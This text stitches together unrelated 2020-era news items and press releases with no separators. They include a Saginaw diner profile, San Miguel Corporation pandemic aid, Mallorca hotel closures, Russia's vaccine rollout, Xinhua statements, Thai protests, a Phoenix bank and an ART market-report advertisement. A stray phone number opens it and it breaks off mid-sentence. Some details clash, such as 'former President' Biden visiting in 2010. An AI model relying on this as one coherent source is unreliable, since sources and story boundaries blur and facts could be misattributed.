816-581-7500 SAGINAW, MI -- Fuzzys owner Elaine Tambouridis has been serving Saginaw for as long as she can remember. Now that patrons are again dining in, shes beginning to feel more at-home again in the restaurant shes managed for 20 years. Her parents, John and Eva Zestos, have owned and operated restaurants in Saginaw since the 1950s. While they have five children, Tambouridis said she was the only one to express interest in owning her own restaurant. So, in 2000, the Zestos bought Fuzzys, and Tambouridis has run it ever since. It used to be a dairy store before they bought it, Tambouridis said. We have regulars come in weekly, and they really helped us during this whole pandemic. Like many other restaurants, Fuzzys was shut down for much of the pandemic and relied on takeout orders. Fuzzys received local grants to help stay open, and Tambouridis added that many local hospitals also helped the business by placing large takeout orders. Saginaws been very supportive with grants and keeping me afloat, Tambouridis said. Without them, I couldnt have done it. Now, Fuzzys black-and-white checkered floors and diner seating are again available for longtime patrons. Tambouridis said their 32 flavors of Mooneys ice cream has been popular, especially as the summer heats up, but other crowd favorites include their hamburgers and pies. While Tambouridis said Fuzzys folded sandwiches and rice pudding are her go-to orders, their soups and homemade cinnamon bread are also fan favorites. In fact, former President Joe Biden took some cinnamon bread to-go when he visited Fuzzys in 2010 while touring the Great Lakes Bay Region. I felt honored. It was a great experience, Tambouridis said. They told me a week before that he was visiting, but I couldnt advertise them. We tried to keep it quiet. Although Tambouridis enjoyed the visit from Biden, she said shes glad that Fuzzys can again open its doors to its regulars, who she considers family. Since reopening at half capacity, Tambouridis said many regulars have returned to the diner, making things feel a bit more normal to her. We have many, many returning customers, Tambouridis said. I love the interaction the customers that my employees know. Its like were a big family. Fuzzys, 1924 Court St., is open Tuesday-Sunday from 7 a.m. to 9 p.m. For their menu, see the website online, the phone number is (989) 790-1719. Read More Local Eats: Liquid Lounges coldest beer in Saginaw and unique sliders keep customers rolling in Local Eats: New Zilwaukee restaurant aims to be That 1 Place your family loves Local Eats: Frankenmuths Station 100 rebrands with high-end dining and a modern design Local Eats: Southern cooking makes Big O Burgers & Barbecue a Saginaw favorite Local Eats: Try the new patio seating at Valeries Downtown in Saginaw Local Eats: Saginaw restaurateur unwinds from martial arts business with his passion for Mexican cuisine Local Eats: Toyo Rosas says Saginaws T&T Authentic Mexican Cuisine is truly authentic Local Eats: 5 reasons to try Coonans Irish Hub in Bay City The San Miguel Corporation (SMC) has announced the extension of the assistance that they can provide to medical frontliners by way of free toll privileges and fuel subsidy for the medical front liners. The free toll program for medical front liners for SMC tollways namely STAR Tollway, South Luzon Expressway, the Skyway system, NAIA Expressway, and the Tarlac-Pangasinan-La Union Expresswayhas reached P53.49 million worth in waived fees. SMC president and chief operating officer Ramon Ang gave the assurance that the initiative, which was accorded to medical frontliners since March, will continue indefinitely. smc tplex Further, almost 10,000 medical front liners availed the free toll RFID stickers, which can be used at all SMC Infrastructure-operated expressways. The sense of gratitude we have for the sacrifices and heroism of our medical front liners remains as deep and strong as it has ever been. They are our modern-day heroes. Weve continued this program because we want to at least provide them some measure of relief and show them our support. We will continue to help them any way we can, Ang said. For the free fuel, SMC subsidiaries such as the SMC Infrastructure and Petron Corporation has also stretched the free fuel subsidy for the Libreng Sakay programs of both the Department of Transportation (DoTR) and the Metro Manila Development Authority (MMDA) as well as the free shuttle program for medical workers. The 3,000-liter daily subsidy for the 60 shuttle buses started since April 7, with the most-recent extension done until the end of the Modified Enhanced Community Quarantine (MECQ) on August 18. Petron Our health workers continue to face so many challenges in the fight against Covid-19 and we in the private sector should continue helping them. As Filipinos, we can start by following the quarantine guidelines set by the government. We cannot let our guard down until we find a cure that will end this pandemic, he said. Aside front transport and mobility-related assistance, the SMC provided P500 million in funds for the purchase of PCR testing machines, PCR test kits, personal protective equipment (PPE), high flow nasal cannula, and swabbing booths for government and private hospitals and LGUs nationwide. Story continues Further, SMC also transformed its liquor manufacturing facilities to produce 1.3 million liters of ethyl alcohol worth P97.1 million given free to hospitals, vital agencies, and other institutions. Moreover, SMC created its own COVID-19 testing center to take responsibility for regularly testing some 70,000 employees and extended workforce in its network. The facility can process up to 4,000 tests per day. In cooperation with the Armed Forces of the Philippines, SMC also constructed 10 isolation facilities with a total 150-bed capacity near camp hospitals nationwide. Photos from San Miguel Corporation, Petron Corporation Also read: SMC tollroads to go full cashless SMC resumes work on Skyway extension, devises new traffic scheme NLEX, SMC Aid Frontliners in Expressways The family of a corrections officer stabbed to death by his neighbor in Vineland has signaled its intention to sue the city over claims that police failed to act on warnings about the man charged in the killing. William T. Durham Sr., 51, was mortally wounded during a brawl with Zachary T. Latham, 18, on May 4. Durhams family says Latham had been harassing them for weeks and that, despite pleas for help, city police failed to take action to stop his provocative and threatening actions. LONDON, Aug. 11, 2020 /PRNewswire/ -- In a timely new partnership, The Human Times is granting Josh Bersin Academy members free access to its new World of Work global HR media intelligence tool. World of Work contains over 30,000 summaries of the latest workforce-related news and trends as reported daily across more than 200 respected international news outlets, including Bloomberg, Wall St Journal, Washington Post, Forbes, Fortune, BBC News, The Economist, Financial Times, Reuters, Personnel Today, The Times of India, South Morning China Post, The Sydney Morning Herald, Le Monde/Le Figaro, Bild, and Die Welt. The database is updated daily, with around 150 new stories added each week. Subscribers can conduct an unlimited number of searches using various criteria, compile annotated reports for sharing with colleagues and clients by email and use the database to generate tailored news for delivery through their own internal and external networks. "We couldn't have a more fitting partner than the Josh Bersin Academy, whose raison d'etre is to connect HR professionals with the latest thinking in a single place," commented Richard Phelps, founder of Human Times. "The real-life examples and data contained in hard news stories help HR professionals win arguments, affect change and inform better HR decision making at this time of radical disruption." "We are delighted to make this important resource available to our members. Now, more than ever, it is important that HR professionals stay up-to-the-minute on the economy, workforce trends, and major employer initiatives around the world." said Josh Bersin, dean of the Josh Bersin Academy. "The World of Work database gives HR professionals the ability to search for news related to today's most relevant topics, such as employment, leadership, diversity or compensation and filter by date, region, or industry sector. It's an important source of news that I use every week." A standard subscription to the World of Work is valued at 235 (or approximately $300). Each story in World of Work is categorized by date, industry, source, region and country. For speedy research through an HR lens, stories are also tagged by over 50 HR topics - including productivity, diversity, employment law, learning and development, HR technology, coronavirus, talent management, remuneration, recruitment, analytics, future of work, wellbeing and HR function. About Human Times Since 2016, Human Times news summaries have informed and inspired HR professionals and business leaders across the globe. This unrivalled news archive has become World of Work - the world's leading HR media intelligence database. In addition, the Human Times offers four free daily news digests covering North America, the United Kingdom and Europe, the Middle East, and Scandanavia. For more information, visit https://human-times.com/ About the Josh Bersin Academy The Josh Bersin Academy, the world's home for HR, is the first global development academy for HR and talent professionals and a transformation solution for HR organizations. The Academy, which currently has approximately 11,000 members, offers content-rich online programs, a carefully curated library of tools and resources, and a global community that helps HR and talent professionals stay current on the trends and practices needed to drive organizational success in the modern world of work. The Academy currently offers ten programs: People as a Competitive Advantage; Performance Management Reimagined; The Agile Learning Organization; The HR Technology Workshop; Wellbeing at Work; People Analytics; Voices, Values and HR; and The Remote Work Bootcamp. Programs are added on a continual basis; the new Resilience Workshop will be launched in September. Memberships are available to individuals, HR teams, and entire HR organizations. The Academy is created in partnership with Nomadic Learning, a company specializing in integrated digital learning solutions to help individuals adopt new ways of working and transform functions, organizations and businesses. For details and to join, visit www.bersinacademy.com Contact: Andrew Smith at The Human Times andrew@human-times.com Hoteliers in Mallorca say they have given up hope of UK tourists returning this summer and are closing their doors as a result. Spain was abruptly struck off the UK's travel corridor list last month and cases have continued to mount since then, with nearly 26,000 new infections announced in the last seven days alone. With only a few weeks of the summer holiday season left, hotels say they cannot compete with destinations such as Turkey and Greece where travel routes are still open and which have been luring British holidaymakers with cut-price offers. The four-star Fergus Style Soller Beach in Mallorca's Puerto de Soller is among those to close - leaving some tourists in the lurch shortly before they were due to arrive. Spain has seen a worrying rise in coronavirus cases in recent weeks, with nearly 26,000 cases recorded in the last seven days - up from fewer than 3,000 a week in June The four-star Fergus Style Soller Beach (pictured) in Mallorca's Puerto de Soller has closed its doors - leaving some tourists in the lurch shortly before they were due to arrive Maria Frontera, the head of the Mallorca hotel federation, said that without the lifting of the quarantine, hotels would now start to close their doors. Elsewhere, Tenerife is still pressing for a reversal of UK policy because the Canary Islands holiday season continues into the autumn 'so there is still time left', according to the island's government. The Balearic and Canary Islands were initially exempt from the Foreign Office warning against non-essential travel but it was later extended to cover them. Staff at the Soller Beach told customers: 'We are coming to you with not such great news, dear friends: due to the last COVID measures taken by UK Government, we have no other choice than close the hotel for this season. 'We are devastated and we know that many of you will be too. We hope you all keep safe, positive and looking forward to come as soon as things get better, if not this year, the next one.' Some visitors said they too were dismayed by the news, with one holidaymaker saying she had just one week to find an alternative. Mallorca's hoteliers said they had pinned their hopes on negotiations between island leaders and the British government. However, they fear that the continuing increase in coronavirus cases over the last fortnight has sealed their fate. In addition, airlines Jet2, TUI Fly and EasyJet announced that they were cancelling many of their flights into August. People wearing face masks walk down a shopping street in the Las Delicias neighbourhood of Zaragoza in Spain on Monday According to the latest data from Turespana, since the UK government reimposed quarantine, reservations for Spain have dropped by 80 per cent. The fall includes holidays in winter 2020/21 and summer 2021 as worried holidaymakers call off plans to travel abroad next year. Hoteliers on the Costa del Sol estimate that 90 per cent of British bookings have now been cancelled. 'We trust that the quarantine will be reversed so that the tourist activity, which had been restarted, with encouraging results, can be reactivated for the winter campaign,' said tourism councillor Jose Gregorio Martin Plata. Spain has suffered 25,926 cases in the last seven days, up from 18,272 the week before and fewer than 3,000 per week as recently as June. The total has now risen above that in Britain to become the highest in Western Europe, prompting criticism of the Spanish government. While France, Germany and Italy have also seen upticks in cases in recent weeks, Spain's spike is by far the largest among those countries. There are currently more than 500 outbreak clusters in Spain, according to the health ministry. The ministry's emergencies coordinator Fernando Simon said on Monday that there are cases of community transmission in some places that are 'not perfectly controlled' but he said they had 'gradually subsided' in recent days. Spain's government defended its response to the coronavirus pandemic on Monday, saying 'appropriate measures' were being taken in co-ordination with the regions. 'The data shows that we are being very active in tracking and detecting the virus,' the government said in a statement. The government also said it had tested nearly 7.5million people since the start of the pandemic, with over 400,000 tested in the past week alone. A healthcare worker dressed in protective gear takes samples from a woman at the La Jota health centre in Zaragoza on Monday Official figures show that 65 people have died from the virus in the last week, bringing the total death toll to 28,576. Spain imposed one of the world's strictest lockdowns after the death toll surged in March and April, but the state of emergency has since been lifted. In a letter published in medical journal The Lancet, a group of Spanish health experts called for an independent probe into of the government's handling of the crisis. More than 50,000 health workers have been infected, and nearly 20,000 deaths were in nursing homes, the authors said. The health experts pointed the finger at a range of errors including poor co-ordination between Madrid and regional governments. An an ageing population, vulnerable groups experiencing health and social inequalities, and 'a lack of preparedness in nursing homes' were also cited. 'These problems were exacerbated by the effects of a decade of austerity that had depleted the health workforce and reduced public health and health system capacities,' the authors said. One signatory, public health professor Ildefonso Hernandez Aguado, said a lack of qualified tracing staff was allowing the disease to spread unseen. 'Some regions have not understood that this was the key in the months after the lockdown and in the long term,' he said. Aguado stressed that authorities should begin hiring and training new personnel as soon as possible. He also pointed the finger at Spain's highly social culture: 'This is a country that doesn't understand holding a celebration, or taking a holiday if you're not going to share them'. CLEVELAND, Aug. 11, 2020 /PRNewswire/ -- One of the concerns as businesses reopen and more people move about a more normal routine is how people unavoidably congregate indoors in areas such as elevators. Particularly in many urban areas, office facilities, hospitals, residences and others are in multi-floor buildings. Many of these have elevators particularly those that have been remodeled to be compliant with the Americans with Disabilities Act or those that are too high for most people to reasonably move about without the use of elevators. However, a large share of the population is concerned about riding in elevators in the age of coronavirus. Building owners are concerned that if employees and others are afraid to ride elevators (to get to work or their homes), they will see occupants break their leases and they will see a spike in building vacancies. In order to provide a safer environment, the Center for Disease Control recommends a few basic steps for elevators in multifamily facilities that also apply for commercial buildings: Cleaning and disinfecting shared areas such as elevators using EPA-registered disinfectants more than once a day if possible. Minimizing traffic in enclosed spaces, such as elevators, and considering limiting elevator occupancy Providing alcohol-based sanitizers in common areas, including outside elevators According to Jennifer Mapes-Christ, manager of consumer & commercial research at the Freedonia Group, "In general, elevators are well ventilated spaces with fans that run to keep the air refreshed. Additionally, most people are only in elevators for a few moments. Thus the duration of any potential exposure is short, well below the 15 minutes that is generally considered an amount of time that could lead to enough viral load to spread COVID-19." According to The Freedonia Group's National Online Consumer Survey conducted in May 2020, 79% of adults agreed that the coronavirus is a health threat to them personally and 86% agreed that it is a health threat to their family and friends. Mapes-Christ notes, "With a large share of the population concerned about the health threat of the coronavirus, building owners and employers will need to take extra steps to ensure employees, residents, and others who visit a building are confident that large buildings are safe." Additional steps recommended by elevator companies and being undertaken by some building owners include: Requiring masks be worn in common areas, such as elevators Limiting elevator occupancy to a level that allows for appropriate social distancing Recommending businesses and other occupants stagger their arrival times Installing signage that suggests occupants refrain from talking while riding elevators and face the walls rather than other riders or the door For more information, see the following data-rich market analysis reports from The Freedonia Group's off-the-shelf research catalog, including Global Elevators, Global Filters, Global Housing, Consumer Air Treatment, and HVAC Equipment, as well as Focus Reports including Commercial Banking: United States and Professional Services: United States. About The Freedonia Group The Freedonia Group, a division of MarketResearch.com, is a leading international industrial research company publishing more than 100 studies annually. Since 1985 we have provided research to customers ranging in size from global conglomerates to one-person consulting firms. More than 90% of the industrial companies in the Fortune 500 use Freedonia Group research to help with their strategic planning. Each study includes product and market analyses and forecasts, in-depth discussions of important industry trends, and market share information. Studies can be purchased at www.freedoniagroup.com and are also available on www.marketresearch.com and www.profound.com. Press Contact: Corinne Gangloff +1 440.842.2400 [email protected] SOURCE The Freedonia Group Related Links https://www.freedoniagroup.com The trials study will span several countries, including the UAE, Saudi Arabia, the Philippines and possibly Brazil, and involve "several thousand people," Dmitriev said. In the meantime, the vaccine will be offered to tens of thousands of people who volunteer to be vaccinated. Deputy Prime Minister Tatyana Golikova said the vaccination of doctors could start as early as this month. Russian authorities have said that medical workers, teachers and other risk groups will be the first to undergo vaccination. According to officials, large-scale production of the vaccine will start in September, and mass vaccination may begin as early as October. "We expect tens of thousands of volunteers to be vaccinated within the next months," Dmitriev said. "So people outside of clinical trials will have access to the vaccine in August, and some, already on the massive scale, in October." The Gamaleya Institute's director, Alexander Gintsburg, said that initially there will be only enough doses to give the vaccine in 10 to 15 of Russia's 85 regions, according to the Interfax news agency. The Associated Press couldn't find documentation in the Russian Health Ministry's records indicating that permission to start the advanced trials was granted. The ministry has not responded to a request for comment. The World Health Organisation's list of vaccine candidates undergoing human testing still lists the Gamaleya product as in preliminary safety trials, which involve giving a low dose to a small number of people. President Putin said one of his daughters has received two shots of the vaccine. "She has taken part in the experiment," the Russian leader said, adding that she had minor side effects, such as slight fever, and is now "feeling well and has high number of antibodies". The Health Ministry said in a statement on Tuesday that the vaccine was expected to provide immunity from the coronavirus for up to two years, citing "(prior) experience of using vector vaccines with the two-shot scheme of administration". However, as Russia has not yet published any scientific data from its first clinical trials, scientists both at home and abroad find these assurances hardly convincing. No vaccines have ever been developed for any coronavirus, including SARS and MERS, and new immunisations typically take years to develop. "The collateral damage from release of any vaccine that was less than safe and effective would exacerbate our current problems insurmountably," Imperial College London immunology professor Danny Altmann said in a statement on Tuesday. Russia has so far registered 897,599 coronavirus cases, including 15,131 deaths. When the pandemic struck Russia, Putin ordered state officials to shorten the time of clinical trials for potential coronavirus vaccines. Becoming the first country in the world to develop a vaccine was a matter of national prestige for the Kremlin as it tries to assert the image of Russia as a global power. State television stations and other media have praised scientists working on it and presented the work as the envy of other nations. The Gamaleya Institute's Gintsburg raised eyebrows in May when he said that he and other researchers tried the vaccine on themselves before the start of human studies. Human trials started June 17 with 76 volunteers. Half were injected with a vaccine in liquid form and the other half with a vaccine that came as soluble powder. Some in the first half were recruited from the military, which raised concerns that servicemen may have been pressured to participate. Amid Russia's rush to become the first to create a vaccine, the US, Britain and Canada last month accused Russia of using hackers to steal vaccine research from Western labs. As the trials were declared completed earlier this month, questions arose about the vaccine's safety and effectiveness. "It is not possible to know if the Russian vaccine has been shown to be effective without submission of scientific papers for analysis and then there may be problems on data quality," Keith Neal, emeritus professor of the epidemiology of infectious diseases of the University of Nottingham, said in a statement. The World Health Organisation said all vaccine candidates should go through full stages of testing before being rolled out. Experts have warned that vaccines that are not properly tested can cause harm in many ways from a negative impact on health to creating a false sense of security or undermining trust in vaccinations. Cases rise in Lebanon after explosion Lebanon has registered a new record of coronavirus cases and deaths as the number of patients increase in the country that had a deadly explosion last week. Cases in Lebanon have been increasing since early July when Beirut's international airport was re-opened and a lockdown was eased. Loading The health ministry on Tuesday say 307 people tested positive, raising the total registered cases to 7121 since the first case was reported in late February. The ministry reported seven new deaths, raising the confirmed total to 87. Dr Firas Abiad, director general of Rafik Hariri University Hospital, said last week that the number of cases is expected to rise in the coming days following the August 4, explosion that killed and wounded thousands of people. He says crowding in hospitals, where thousands of wounded were rushed would raise the numbers. UK reports highest daily total COVID cases since late June The United Kingdom reported 1148 confirmed new cases of COVID-19 on Tuesday, the highest daily total since June 21. The cumulative total of UK cases stood at 312,789, government data showed. It was only the second time since June that the daily total of new confirmed cases topped the 1000 mark. The previous instance was on Sunday, when the daily figure was 1062. The UK authorities stopped publishing daily updates on the number of deaths from COVID-19 on July 17 due to a review of the way the statistics were being reported, which has yet to conclude. More than 46,000 people have died of the disease in the United Kingdom, the highest toll in Europe. Young fuel rise in cases in Spain The regional government in Spain's Canary Islands says more than 85 per cent of new coronavirus infections detected during the past week were among people under 30 years old. Loading Regional health chief Blas Trujillo says the new COVID-19 cases resulted from leisure time and family get-togethers without social distancing. He says the constant appearance of new cases - 85 in the previous 24 hours - could bring a return to an economically damaging lockdown. Even though most young people were asymptomatic, contact tracing requirements overload the health system and the colleagues of those testing positive have to stay at home. Sign up to our Coronavirus Update newsletter Get our Coronavirus Update newsletter for the day's crucial developments and the numbers you need to know. Sign up to The Sydney Morning Herald's newsletter here and The Age's here. Edison, NJ -- (SBWIRE) -- 08/11/2020 -- A new business intelligence report released by HTF MI with title "Global Assisted Reproductive Technology (ART) Market Report 2020" is designed covering micro level of analysis by manufacturers and key business segments. The Global Assisted Reproductive Technology (ART) Market survey analysis offers energetic visions to conclude and study market size, market hopes, and competitive surroundings. The research is derived through primary and secondary statistics sources and it comprises both qualitative and quantitative detailing. Some of the key players profiled in the study are Irvin Scientific (U.S.), Origio A/S (Denmark), Microm UK Ltd (U.K.), Parallabs Ltd (U.K.), Cryolab Ltd. (U.K.), Merck KGaA (Germany) & Vitrolife AB (Sweden). What's keeping Irvin Scientific (U.S.), Origio A/S (Denmark), Microm UK Ltd (U.K.), Parallabs Ltd (U.K.), Cryolab Ltd. (U.K.), Merck KGaA (Germany) & Vitrolife AB (Sweden) Ahead in the Market? Benchmark yourself with the strategic moves and findings recently released by HTF MI Get Free Sample Report + All Related Graphs & Charts @ : https://www.htfmarketreport.com/sample-report/2769515-global-assisted-reproductive-technology-8 Market Overview of Global Assisted Reproductive Technology (ART) If you are involved in the Global Assisted Reproductive Technology (ART) industry or aim to be, then this study will provide you inclusive point of view. It's vital you keep your market knowledge up to date segmented by Applications [Application1, Application2, Application3], Product Types [In-Vitro Fertilization & Artificial Insemination] and major players. If you have a different set of players/manufacturers according to geography or needs regional or country segmented reports we can provide customization according to your requirement. This study mainly helps understand which market segments or Region or Country they should focus in coming years to channelize their efforts and investments to maximize growth and profitability. The report presents the market competitive landscape and a consistent in depth analysis of the major vendor/key players in the market along with impact of economic slowdown due to COVID. Furthermore, the years considered for the study are as follows: Historical year 2014-2019 Base year 2019 Forecast period** 2020 to 2026 [** unless otherwise stated] **Moreover, it will also include the opportunities available in micro markets for stakeholders to invest, detailed analysis of competitive landscape and product services of key players. The titled segments and sub-section of the market are illuminated below: The Study Explore the Product Types of Assisted Reproductive Technology (ART) Market: In-Vitro Fertilization & Artificial Insemination Key Applications/end-users of Global Assisted Reproductive Technology (ART) Market: Application1, Application2, Application3 Top Players in the Market are: Irvin Scientific (U.S.), Origio A/S (Denmark), Microm UK Ltd (U.K.), Parallabs Ltd (U.K.), Cryolab Ltd. (U.K.), Merck KGaA (Germany) & Vitrolife AB (Sweden) Region Included are: North America Country (United States, Canada), South America, Asia Country (China, Japan, India, Korea), Europe Country (Germany, UK, France, Italy) & Other Country (Middle East, Africa, GCC) Enquire for customization in Report @: https://www.htfmarketreport.com/enquiry-before-buy/2769515-global-assisted-reproductive-technology-8 Important Features that are under offering & key highlights of the report: Detailed overview of Assisted Reproductive Technology (ART) market Changing market dynamics of the industry In-depth market segmentation by Type, Application etc Historical, current and projected market size in terms of volume and value Recent industry trends and developments Competitive landscape of Assisted Reproductive Technology (ART) market Strategies of key players and product offerings Potential and niche segments/regions exhibiting promising growth A neutral perspective towards Assisted Reproductive Technology (ART) market performance Market players information to sustain and enhance their footprint Read Detailed Index of full Research Study at @ https://www.htfmarketreport.com/reports/2769515-global-assisted-reproductive-technology-8 Major Highlights of TOC: Chapter One: Global Assisted Reproductive Technology (ART) Market Industry Overview 1.1 Assisted Reproductive Technology (ART) Industry 1.1.1 Overview 1.1.2 Products of Major Companies 1.2 Assisted Reproductive Technology (ART) Market Segment 1.2.1 Industry Chain 1.2.2 Consumer Distribution 1.3 Price & Cost Overview Chapter Two: Global Assisted Reproductive Technology (ART) Market Demand 2.1 Segment Overview 2.1.1 APPLICATION 1 2.1.2 APPLICATION 2 2.1.3 Other 2.2 Global Assisted Reproductive Technology (ART) Market Size by Demand 2.3 Global Assisted Reproductive Technology (ART) Market Forecast by Demand Chapter Three: Global Assisted Reproductive Technology (ART) Market by Type 3.1 By Type 3.1.1 TYPE 1 3.1.2 TYPE 2 3.2 Assisted Reproductive Technology (ART) Market Size by Type 3.3 Assisted Reproductive Technology (ART) Market Forecast by Type Chapter Four: Major Region of Assisted Reproductive Technology (ART) Market 4.1 Global Assisted Reproductive Technology (ART) Sales 4.2 Global Assisted Reproductive Technology (ART) Revenue & market share Chapter Five: Major Companies List Chapter Six: Conclusion Complete Purchase of Latest Version Global Assisted Reproductive Technology (ART) Market Study with COVID-19 Impact Analysis @ https://www.htfmarketreport.com/buy-now?format=1&report=2769515 Key questions answered - What impact does COVID-19 have made on Global Assisted Reproductive Technology (ART) Market Growth & Sizing? - Who are the Leading key players and what are their Key Business plans in the Global Assisted Reproductive Technology (ART) market? - What are the key concerns of the five forces analysis of the Global Assisted Reproductive Technology (ART) market? - What are different prospects and threats faced by the dealers in the Global Assisted Reproductive Technology (ART) market? - What are the strengths and weaknesses of the key vendors? Thanks for reading this article; you can also get individual chapter wise section or region wise report version like North America, Europe or Asia. About HTF Market Report HTF Market Report is a wholly owned brand of HTF market Intelligence Consulting Private Limited. HTF Market Report global research and market intelligence consulting organization is uniquely positioned to not only identify growth opportunities but to also empower and inspire you to create visionary growth strategies for futures, enabled by our extraordinary depth and breadth of thought leadership, research, tools, events and experience that assist you for making goals into a reality. Our understanding of the interplay between industry convergence, Mega Trends, technologies and market trends provides our clients with new business models and expansion opportunities. We are focused on identifying the "Accurate Forecast" in every industry we cover so our clients can reap the benefits of being early market entrants and can accomplish their "Goals & Objectives". Contact US : Craig Francis (PR & Marketing Manager) HTF Market Intelligence Consulting Private Limited Unit No. 429, Parsonage Road Edison, NJ New Jersey USA 08837 Phone: +1 (206) 317 1218 sales@htfmarketreport.com Source: Xinhua| 2020-08-11 11:19:44|Editor: huaxia Video Player Close BRUSSELS, Aug. 10 (Xinhua) -- The Chinese Mission to the European Union (EU) said Monday that China is firmly opposed to the EU's interfering in Hong Kong affairs and China's internal affairs and practising double standards on the law-based exercise of duties by Hong Kong police. The remarks were made in response to a statement issued by the European External Action Service (EEAS) earlier on Monday about the arrests of Jimmy Lai Chee-ying, an instigator of Hong Kong riots, and nine others by Hong Kong police. According to the police, six of the 10 suspects were arrested on suspicion of collusion with foreign forces or external elements to endanger national security, and some others were suspected of conspiracy to commit fraud. The EEAS said in the statement the arrests "further stoke fears that the National Security Law (for Hong Kong) is being used to stifle freedom of expression and of the media in Hong Kong." In response, the Chinese mission said "Hong Kong is a region based on the rule of law," stressing that "the Law of the People's Republic of China on Safeguarding National Security in the Hong Kong Special Administrative Region has clear provisions on respect for and protection of human rights, and protection of rights and freedoms including freedom of speech and the press." "The constitutions of more than 100 countries in the world stipulate that the exercise of fundamental rights and freedoms must not endanger national security. The European Convention on Human Rights has similar provisions," the mission noted. The EU side should respect facts and reject double standards, it added. Enditem Source: Xinhua| 2020-08-11 11:33:12|Editor: huaxia Video Player Close CANBERRA, Aug. 11 (Xinhua) -- Australia's Prime Minister Scott Morrison has urged U.S. President Donald Trump to prevent the release of an Afghan man who killed three Australian soldiers. Morrison said on Monday that his government would push "as hard as we can" in keeping the former Afghan soldier known as Hekmatullah who was convicted of murdering three Australian soldiers in Afghanistan in 2012 behind bars. The Australian Broadcasting Corporation (ABC) reported on Monday that Hekmatullah was likely to be one of 5,000 prisoners released as part of negotiations between the Taliban and Afghan government. A peace deal signed between the United States and the Taliban in Qatar in February required the Afghan government to free 5,000 Taliban inmates in exchange for Taliban's release of 1,000 soldiers or government staff. Morrison confirmed that he has raised the issue with President Trump. "This has been a matter of very regular and persistent petitioning on our behalf," he told reporters. "Hekmatullah was responsible for murdering three Australians, and our position is that he should never be released. "I can't promise you the outcome we all want here, but it's certainly the outcome that we will continue to press for as hard as we can." Enditem RTHK: Thousands join Thai anti-government protest Thousands joined an anti-government demonstration at a Thai university on Monday, the largest such protest by students, challenging the government and conservative establishment even as royalist rivals held their own rally. About 3,000 to 4,000 protesters chanted "Long live democracy" at Thammasat University on Bangkok's outskirts, with fiery speeches calling for the resignation of Prime Minister Prayuth Chan-ocha, who first seized power in a 2014 coup. Earlier on Monday, dozens of government supporters rallied in front of Parliament House on Monday, saying the student protests could threaten Thailand's monarchy, which they consider a sacred institution. In a sign of a more coordinated opposition to the students, nationalist activist Sumet Trakulwoonnoo, 46, announced a new pro-government group, the Coordination Center of Vocational Students for the Protection of National Institutions (CVPI). "We're setting up to remind youth groups, parents, teachers and officials about the danger to the nation from these people who are instigating youth to become godless and obsessed with Western culture, do drugs and hate their parents and teachers," Sumet told reporters. The anti-government protesters have made a growing number of references to the monarchy, a highly sensitive topic, and one speaker at a recent rally called for its reform. The students accused the pro-government demonstrators of trying to create confrontation that could lead to another military intervention. "We do not want this and will oppose it," Nick Thanawit, a student activist from Maha Sarakham University, told the crowd. Two activists involved in the student protests were arrested on Friday on charges of sedition and breaking restrictions to stop the spread of the novel coronavirus. They were later released on bail. Human Rights Watch said that several other protesters around the country had been harassed. "Legal action and harassment are intensifying despite Prime Minister Prayuth's promises that the government would listen to the dissenters' demands and concerns," said Sunai Phasuk, senior researcher on Thailand for Human Rights Watch. Government deputy spokeswoman Rachada Dhnadirek denied blocking student activism. "We don't want to see violence or expressions beyond the bounds of the law," Rachada told Reuters. (Reuters) This story has been published on: 2020-08-11. To contact the author, please use the contact details within the article. PHOENIX, Aug. 11, 2020 /PRNewswire/ -- Metro Phoenix Bank (OTCPink:MPHX) ("Bank") has always prided itself in serving the local community by providing small- to mid-sized businesses with meaningful solutions for their commercial banking needs. In light of the COVID-19 crisis, Metro Phoenix Bank's (MPB) commitment to the community has never been more apparent. At a time of uncertainty for many businesses, MPB took action by proactively engaging in programs to increase the availability of credit and other sources of funds. Approved Lender for the Paycheck Protection Program (PPP) Approved Lender for the Main Street Lending Program FHLBank San Francisco Non-Profit Match Funding Grant Participant Continued its Active Participation in SBA 7(a) Lending Continued its Conventional Lending Programs to Small- to Mid-Sized Businesses Mr. Haggard, President and CEO of Metro Phoenix Bank stated that, "Since MPB has been a longstanding Preferred Lender with the SBA, we were able to immediately begin processing PPP requests. While many banks were charged with prioritizing loans to larger customers, Metro Phoenix Bank was processing smaller dollar loans to local businesses, many of which were less than $25,000. Additionally, while MPB served new and existing customers in need of PPP loans, it was reported that other banks were only assisting existing customers. Based on MPB's PPP volume, over 50% of the loans processed were to new customers. More specifically, MPB's diligent team effort resulted in deploying over $42 million through the Paycheck Protection Program. These dollars directly impacted the local community and supported close to 5,000 jobs, further illustrating MPB's unwavering commitment to the community. "Due to the uncertainty surrounding the COVID-19 pandemic, MPB needed to have as many resources possible available for customers. When the Main Street Lending Program was first unveiled, I knew this could be another viable option for business owners. Although this program may not be for everyone, we would be doing our community a disservice if we did not pursue this option. The FHLB matching funds project is another avenue that MPB has pursued. With the generous support of FHLB San Francisco, MPB's charitable contributions to local non-profits have been doubled. "Furthermore, since the beginning of the Pandemic, the Bank has remained very active in traditional lending in the community. Excluding the Paycheck Protection Program, Metro Phoenix Bank has still increased its loan portfolio by approximately seven percent since March 31st. "Examining how a company responds to crisis can be very telling. I'm proud that MPB has been there to facilitate these much-needed programs; it's a testament of our commitment to the community. This is truly what community banking is all about. We stand firmly behind our customers and support them regardless of the obstacles that they face due to no fault of their own." About the Company Metro Phoenix Bank, Inc., established in 2007 and headquartered in Phoenix, Arizona, is a full-service community bank that caters to small- to mid-sized businesses and real estate professionals. MPB offers commercial clients a variety of services ranging from Commercial Real Estate Lending, Outdoor Media Lending, SBA financing solutions, and a robust treasury management platform that includes a Homeowners Association (HOA)/Property Management specialty program. The company is traded over-the-counter as MPHX. For additional information, visit: www.metrophoenixbank.com. Contact: Stephen P. Haggard President & CEO 602-346-1800 [email protected] SOURCE Metro Phoenix Bank Related Links http://www.metrophoenixbank.com Farmers Continue Work with Minimal Coronavirus Protection Agriculture farms continue to operate to grow crops and feed the country, but with minimal federal protections against the coronavirus, many farmers are worried about contracting the virus on the job. Farms across the country are busier than ever, and most are fully staffed with workers who live locally, workers on temporary agriculture visas and migrant workers to travel from farm to farm. No matter the background of the worker, though, the agriculture industry has been given little federal protection against the coronavirus. One recent article goes into the growing concern agriculture farmers have that their business-as-usual operations could mean something bad if an outbreak happens. One tomato farm in eastern Tennessee is home to hundreds of workerslocal and non-localwho are working full days, in close contact with one another and with little PPE or coronavirus protection. These workers live in close quarters, sleep in bunk beds and share bathrooms and kitchens. They ride crowded buses to work and often work in groups. Although agriculture workers are considered essential, they do not have health insure 